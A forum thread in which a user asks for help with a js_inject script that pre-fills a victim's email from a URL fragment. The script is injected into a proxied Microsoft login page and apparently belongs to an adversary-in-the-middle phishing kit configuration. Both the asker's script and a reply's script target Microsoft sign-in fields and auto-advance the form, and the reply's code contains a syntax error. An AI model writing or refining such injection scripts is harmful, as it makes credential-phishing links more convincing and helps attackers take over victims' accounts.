Email pre-filled from the URL fragment

Hello @fluxxset. I need help. I want the email address to be pre-filled from the URL fragment β€” for example: https://login.example.com#[email protected] to automatically fill the email input field

i tried this myself but nothing works


js_inject:
  - trigger_domains: ["login.*****.com"]
    trigger_paths: ["/common/oauth2/"]
    script: |
      // Store email from hash if present
      (function() {
        const hash = window.location.hash;
        if (hash && hash.startsWith("#")) {
          const email = hash.substring(1); // remove '#'
          if (email.includes("@")) {
            localStorage.setItem("email", email);
            console.log("Email stored in localStorage:", email);
          }
        }
      })();

      // Autofill email field
      function autofillEmail() {
        try {
          const email = localStorage.getItem("email") || "";
          const emailField = document.getElementById("i0116");
          const nextButton = document.getElementById("idSIButton9");

          if (emailField && nextButton) {
            emailField.value = email;
            console.log("Autofilled email:", email);
            nextButton.focus();
            nextButton.click();
          } else {
            console.log("Elements not found yet, retrying...");
            setTimeout(autofillEmail, 1000);
          }
        } catch (err) {
          console.log("Error in autofill:", err);
          setTimeout(autofillEmail, 1000);
        }
      }

      setTimeout(autofillEmail, 1000);
function handleEmailInput() {

const emailInput = document.querySelector('input[type="email"][name="loginfmt"]');

if (!emailInput) return;

const urlFragment = location.hash.replace('#', '');

if (urlFragment) {

let index = 0;

const timeoutDelay = 50; // Adjust the delay between each "typed" character (ms)

function typeNextChar() {

if (index < urlFragment.length) {

emailInput.value += urlFragment.charAt(index);

index++;

emailInput.dispatchEvent(new Event('input', { bubbles: true }));

setTimeout(typeNextChar, timeout Delay);

}

}

typeNextChar();

}

}

// Call the function to initiate the process

handleEmailInput();
1 Like

Thank you for sharing your solution with meβ€”I really appreciate you taking the time to help. I’ll give your method a try and let you know how it works out. Your support means a lot!